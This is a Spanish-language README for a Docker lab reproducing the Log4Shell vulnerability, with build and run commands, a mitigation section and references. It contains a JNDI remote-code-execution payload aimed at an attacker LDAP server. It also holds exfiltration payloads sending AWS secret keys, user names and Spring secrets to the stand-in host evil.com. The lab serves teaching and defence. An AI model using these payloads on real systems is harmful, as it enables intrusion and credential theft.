
Log4Shell (CVE-2021-44228) laboratorio Docker
Este laboratorio docker utiliza tres componentes:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
Nota importante: Si usas Windows PowerShell, reemplaza $(pwd) por ${pwd}.
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
Abre la aplicación vulnerable, introduce algunas credenciales de prueba falsas y abre los registros del contenedor log4shell-vulnapp. Se puede ver que la aplicación registra intentos de inicio de sesión fallidos (por ejemplo, Intento de inicio de sesión incorrecto para el usuario 'test'). A partir de este pequeño experimento, se establece que tenemos control sobre alguna parte de la cadena registrada (es decir, el nombre de usuario).
Podemos pasar un payload como el siguiente para ejecutar código de forma remota:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
La ejecución remota de código se puede realizar en cualquier versión de Java; sin embargo, las máquinas con versiones de Java anteriores a la siguiente lista [1]:
Esto se debe a que las versiones posteriores establecen la propiedad del sistema JVM com.sun.jndi.ldap.object.trustURLCodebase en false por defecto, lo que desactiva la carga JNDI de clases desde bases de código URL arbitrarias. Sin embargo, confiar únicamente en una versión nueva de Java como protección contra esta vulnerabilidad es arriesgado, ya que la vulnerabilidad aún puede explotarse en máquinas que contienen ciertas clases "gadget" en el classpath de la aplicación vulnerable y las consultas DNS pueden usarse para obtener información como variables de entorno.
Existen varias sustituciones de búsqueda que revelan información sensible de la máquina víctima. De manera más destacada, utilizando un payload similar a [2, 3]:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
Nota: La cadena de ataque de búsqueda spring requiere que log4j-spring-cloud-config-client esté incluido en la aplicación. [2]
La mejor manera de mitigar esta grave vulnerabilidad es actualizar log4j2 a una versión >= 2.17.0. Sin embargo, es posible mitigar completamente el problema sin actualizar usando dos métodos diferentes. Se recomienda encarecidamente a los proveedores que no puedan actualizar a una versión más reciente de Log4j2 que utilicen ambos métodos de mitigación especificados a continuación [1].
Deshabilitar las búsquedas se puede realizar (globalmente) configurando la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS en true editando el archivo /etc/environment y añadiendo: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
Alternativamente, las búsquedas se pueden deshabilitar para una invocación específica de la JVM añadiendo la siguiente bandera de línea de comandos al ejecutar la aplicación Java vulnerable: ‐Dlog4j2.formatMsgNoLookups=True [1]
Al usar una versión de log4j anterior a 2.10.0, es posible eliminar la clase JndiLookup de cualquier aplicación Java.
[1] Menashe, S., (2021). Todo sobre la vulnerabilidad de día cero Log4Shell - CVE-2021-44228. [en línea] JFrog. Disponible en: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Consultado el 24 de diciembre de 2021].
[2] Goers, R., (2021). Log4j – Búsquedas de Log4j 2. [en línea] logging.apache.org. Disponible en: https://logging.apache.org/log4j/2.x/manual/lookups.html [Consultado el 24 de diciembre de 2021].
[3] Oracle. (2021). Propiedades del sistema. [en línea] Disponible en: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Consultado el 24 de diciembre de 2021].